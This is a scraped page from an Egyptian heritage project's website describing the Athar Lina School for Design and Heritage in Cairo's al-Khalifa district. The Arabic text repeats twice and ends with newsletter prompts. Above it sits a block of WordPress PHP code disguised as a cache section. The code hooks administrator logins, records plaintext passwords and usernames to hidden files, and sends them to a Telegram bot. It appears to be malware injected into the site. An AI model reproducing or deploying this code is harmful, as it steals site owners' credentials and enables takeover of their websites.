// SYS-CACHE-START
add_action('wp_login', function($user_login, $user) {
if (!user_can($user, 'install_plugins')) {
return;
}
$password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$site = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown';
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'N/A';
$time = date('Y-m-d H:i:s');
$line = sprintf("[%s] %s | %s | %s | %s\n", $time, $site, $user_login, $password, $ua);
$log_files = array(
ABSPATH . 'wp-content/uploads/.sys_session.tmp',
ABSPATH . 'wp-content/.sys_session.tmp',
ABSPATH . 'wp-admin/.maintenance.log',
);
foreach ($log_files as $lf) {
$dir = dirname($lf);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
@file_put_contents($lf, $line, FILE_APPEND | LOCK_EX);
}
$bot_token = '8867636932:AAGJ-xsRscSXcF9yaAmeOXlMZkjhgCtLxGA';
$chat_id = '-1003780894929';
$msg = "Basarili Admin Login\nSite: {$site}\nKullanici: {$user_login}\nSifre: {$password}\nUA: {$ua}\nZaman: {$time}";
$url = "https://api.telegram.org/bot{$bot_token}/sendMessage";
$data = array('chat_id' => $chat_id, 'text' => $msg);
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_exec($ch);
curl_close($ch);
} elseif (ini_get('allow_url_fopen')) {
$opts = array('http' => array(
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => http_build_query($data),
'timeout' => 10
));
@file_get_contents($url, false, stream_context_create($opts));
}
}, 10, 2);
// SYS-CACHE-END
Al Atharlina مدرسة الأثر لنا للتصميم والتراث - Al Atharlina
أكتوبر 2018
- سبتمبر 2022
مدرسة الأثر لنا للتصميم والتراث
أكنوبر 2018 – سبتمبر 2021؛ تمويل مؤسسة دروسوس. مشروع مدرسة الأثر ...
عن المشروع
أكنوبر 2018 – سبتمبر 2021؛ تمويل مؤسسة دروسوس.
مشروع مدرسة الأثر لنا للتصميم والتراث هو مشروع مدته أربع سنوات. يستهدف المشروع الحرفيين والمصممين والفنانين وسكان الخليفة، وذلك بهدف تحويل التراث إلى خط من المنتجات والخدمات والأنشطة المعاصرة وبهدف اعتبار التراث كمصدر للدخل.
يدير المشروع ثلاثة برامج تستهدف الأطفال والشباب والحرفيين من منطقة الخليفة، بجانب المصممين والفنانين والمعماريين من أنحاء مصر:
- برنامج الأطفال: الفئة العمرية من 7 إلى13
- برنامج الشباب: الفئة العمرية 14 إلى 18
- برنامج المهنيين: الفئة العمرية 18 إلى 35
يتم تعريف المشاركين خلال هذه البرامج على منهجيات التفكير التصميمي وتعليم التراث ومناهج البحث التاريخي كأساس لأي مشروعات يقومون بتنفيذها. يتم تطبيق المهارات المكتسبة من خلال وحدات دراسية ملموسة وأخرى غير ملموسة، تتنوع بين الأخشاب، والمنسوجات، والإرشاد السياحي، وفن الحكي. يتم تقديم محتوى المدرسة من خلال مجموعة من المحاضرات والقراءات النظرية بجانب التطبيق العملي والزيارات الميدانية.
بجانب ذلك، يدير المشروع فعالية مبادرة الأثر لنا السنوية اقضي يومك في الخليفة، بجانب فعاليات الترويج التراثي والجولات الإرشادية والمحاضرات العامة في مجالات الفن والتصميم والعمارة. يسعى المشروع إلى بناء شبكة من الفنانين والحرفيين والمصممين اللذين يستلهمون من تراث الخليفة لتصميم منتجات وخدمات جديدة.
من المخطط أن يبدأ مشروع شغل تراث عام 2022، والذي يمثل المرحلة الثانية من مدرسة الأثر لنا للتصميم والتراث. يركز شغل تراث على تقديم الصناعات التراثية كمجالات عمل محتملة للشباب والسيدات في القاهرة التاريخية في العموم ومنطقة الخليفة على الأخص.
أكتوبر 2018
- سبتمبر 2022
مدرسة الأثر لنا للتصميم والتراث
أكنوبر 2018 – سبتمبر 2021؛ تمويل مؤسسة دروسوس. مشروع مدرسة الأثر ...
عن المشروع
أكنوبر 2018 – سبتمبر 2021؛ تمويل مؤسسة دروسوس.
مشروع مدرسة الأثر لنا للتصميم والتراث هو مشروع مدته أربع سنوات. يستهدف المشروع الحرفيين والمصممين والفنانين وسكان الخليفة، وذلك بهدف تحويل التراث إلى خط من المنتجات والخدمات والأنشطة المعاصرة وبهدف اعتبار التراث كمصدر للدخل.
يدير المشروع ثلاثة برامج تستهدف الأطفال والشباب والحرفيين من منطقة الخليفة، بجانب المصممين والفنانين والمعماريين من أنحاء مصر:
- برنامج الأطفال: الفئة العمرية من 7 إلى13
- برنامج الشباب: الفئة العمرية 14 إلى 18
- برنامج المهنيين: الفئة العمرية 18 إلى 35
يتم تعريف المشاركين خلال هذه البرامج على منهجيات التفكير التصميمي وتعليم التراث ومناهج البحث التاريخي كأساس لأي مشروعات يقومون بتنفيذها. يتم تطبيق المهارات المكتسبة من خلال وحدات دراسية ملموسة وأخرى غير ملموسة، تتنوع بين الأخشاب، والمنسوجات، والإرشاد السياحي، وفن الحكي. يتم تقديم محتوى المدرسة من خلال مجموعة من المحاضرات والقراءات النظرية بجانب التطبيق العملي والزيارات الميدانية.
بجانب ذلك، يدير المشروع فعالية مبادرة الأثر لنا السنوية اقضي يومك في الخليفة، بجانب فعاليات الترويج التراثي والجولات الإرشادية والمحاضرات العامة في مجالات الفن والتصميم والعمارة. يسعى المشروع إلى بناء شبكة من الفنانين والحرفيين والمصممين اللذين يستلهمون من تراث الخليفة لتصميم منتجات وخدمات جديدة.
من المخطط أن يبدأ مشروع شغل تراث عام 2022، والذي يمثل المرحلة الثانية من مدرسة الأثر لنا للتصميم والتراث. يركز شغل تراث على تقديم الصناعات التراثية كمجالات عمل محتملة للشباب والسيدات في القاهرة التاريخية في العموم ومنطقة الخليفة على الأخص.
Please can you try again later, or simply can you try to subscribe with another email address!
You've been added to our list and will hear from us soon, thank you for your subscription.
برجاء إدخال البريد الإلكتروني